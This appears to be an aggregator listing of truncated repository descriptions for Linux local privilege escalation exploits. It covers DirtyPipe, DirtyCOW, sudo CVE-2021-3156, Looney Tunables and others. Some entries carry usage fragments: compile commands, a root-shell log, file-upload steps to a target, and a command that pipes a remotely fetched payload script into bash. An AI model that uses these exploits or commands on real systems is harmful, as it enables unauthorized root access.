NimbusPWN-CVE-2022-29799-29800

NimbusPwn — networkd-dispatcher !NOTE Other distros: dnf install gcc dbus-devel pkgconf Fedora/RHEL or pacman -S gcc db...

DirtyClone

DirtyClone DirtyClone is a diagnostic, proof-of-concept local privilege escalation tool written in C. It targets a kernel/XFRM-related exploit path described in the source as CVE-2026-43503 and is intended only for authorized security research in controlled environments. Overview This repository...

DirtyPIPE-CVE-2022-0847

CVE-2022-0847 POC Source: https://www.exploit-db.com/exploits/50808 1. Compile In Linux, compile the POC with gcc -o dirty dirty.c 2. Usage Execute the program with ./dirty SUID, where SUID refers to the path of a program with the SUID bit set. Commonly, you can use /usr/bin/passwd, i.e., run...

ansvif

ansvif A Not So Very Intelligent Fuzzer Marshall Whittaker oxagast [email protected] As the complexity of a system rises, as does the potential for problems within that system. --Whittaker's Law Compile Dependancies: automake autoconf-archive zlib1g-dev g++ gcc and libgtk2.0-dev if you want...

CVE-2024-1065

CVE-2024-1065 — Page Cache Exploitation PoC Proof-of-concept exploit for CVE-2024-1065, a physical page use-after-free in the ARM Mali GPU kernel driver. The exploit demonstrates page cache exploitation : racing a freed MIGRATEMOVABLE page into the in-memory code image of a SUID binary, then...

CVE-2022-37706

CVE-2022-37706 Exploit: Enlightenment v0.25.3 Privilege Escalation Description This repository contains an exploit for CVE-2022-37706 , a local privilege escalation vulnerability in Enlightenment v0.25.3 and earlier. The vulnerability exists due to improper handling of pathnames starting with the...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - Privilege escalation ./exploit.sh CVE-2022-37706 Trying to find the vulnerable SUID file... This may take few seconds... + Vulnerable SUID binary found! + Trying to pop a root shell! + Enjoy the root shell : mount: /dev/../tmp/: can't fin...

CVE-2021-27285

CVE-2021-27285 浪潮ClusterEngine集群管理平台是专为浪潮天梭系列HPC产品定制的一款作业管理软件。浪潮ClusterEngine存在suid配置不当的问题，导致非管理员用户可以通过部分组件进行提权获得root权限。 浪潮clusterenginev4.0存在组件“/opt/tsce4/torque6/bin/getJobsByShell”suid配置不当问题，非管理员用户能通过suid提权方式获得root权限。 提权过程如下： root@kitploit: inspur@mu01 $ whoami inspur inspur@mu01 $...

CVE-2021-44731-snap-confine-SUID

CVE-2021-44731-snap-confine-SUID Local Privilege Escalation Exploit for CVE-2021-44731, snap-confine 2.54.2 and lower All credit to Qualys for finding this and providing a detailed exploit. https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt Quick and Dirty snap-confine LPE...

CVE-2021-3156

CVE-2021-3156 toc Vulnerability Overview Vulnerability ID: CVE-2021-3156 Vulnerability Score: Affected Product: Linux sudo Affected Versions: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 Exploitation Conditions: Linux local; sudo is suid and executable Impact: Local privilege escalation Source Code:...

CVE-2023-4911

CVE-2023-4911 - Looney Tunables This is a atm very rough proof of concept for CVE-2023-4911. So far I've only verified it works on Ubuntu 22.10 kinetic. Current version of the exploit contains a fair amount of "magic" offsets. If you have suggestions on how to improve the heap shaping, feel free ...

firejail

Firejail Firejail es una herramienta de seguridad ligera diseñada para proteger un sistema Linux mediante la creación de un entorno restringido para ejecutar aplicaciones potencialmente no confiables. Más específicamente, es un programa sandbox SUID que reduce el riesgo de brechas de seguridad...

Privilege-Escalation

⬆️ Escalada de Privilegios para Pentesters Una guía práctica de referencia y chuleta de Escalada de Privilegios diseñada para jugadores de CTF, testers de penetración y estudiantes de ciberseguridad para comprender cómo los atacantes escalan privilegios en sistemas comprometidos 🌐 Conéctate con...

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC Proof-of-Concept for privileged file read through CheckPoint SNX VPN Linux Client. Affected Version CheckPointVPNSNXLinux800007075.sh MD5 Checksum: 4372e9936e2dfb1d1ebcef3ed4dd7787 Exploit To exploit just load any file as SNX config using the -f paremeter. If the...

CVE-2021-41091

CVE-2021-41091 A bug in Moby Docker Engine allows unprivileged users to traverse directories and execute programs directly from the container on the host machine. If there is a suid program in the container, the user will be able to execute it as suid on the host machine. PoC In the container's...

CA-Common-Services-privilege-escalation-cve-2016-9795-revisited

CA Common Services privilege escalation CVE-2016-9795 revisited Description In one of my pentests, I stumbled across the casrvc SUID binary which is part of CA Common Services suite. As I found out, the binary is vulnerable to local privilege escalation. As a matter of fact, a public CVE...

CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Exp Usage: First ：Upload fuse.c and exp.sh to the /tmp directory. You can use scp or python3 -m http.server upload the file to target. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp scp /Desktop/CVE-2023-0386/fuse.c...

dirtypipez-exploit

CVE-2022-0847 DirtyPipe 漏洞利用。 Credit: Max Kellermann [email protected] 一个名为 'Dirty Pipe' 的新 Linux 漏洞允许本地用户通过公开可用的漏洞利用程序获取 root 权限。 今天，安全研究员 Max Kellermann 负责任地披露了 'Dirty Pipe' 漏洞，并指出它影响 Linux 内核 5.8 及更高版本，甚至包括 Android 设备。 该漏洞被追踪为 CVE-2022-0847，允许非特权用户在只读文件中注入和覆盖数据，包括以 root 身份运行的 SUID 进程。...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme Run the bash script: root@kitploit: bash exploit.sh In target machine run in a writable directory: root@kitploit: curl http://:8000/payload.sh | bash It will automatically...

CVE-2016-5195

CVE-2016-5195 mi POC y EXPLOIT personal de CVE-2016-5195 dirty COW Uso POC: escribir archivos de forma arbitraria Simplemente un POC de este CVE, compile el archivo poc.c de la siguiente manera: root@kitploit: $ gcc poc.c -o poc -static -lpthread Debe ejecutarlo de la siguiente manera:...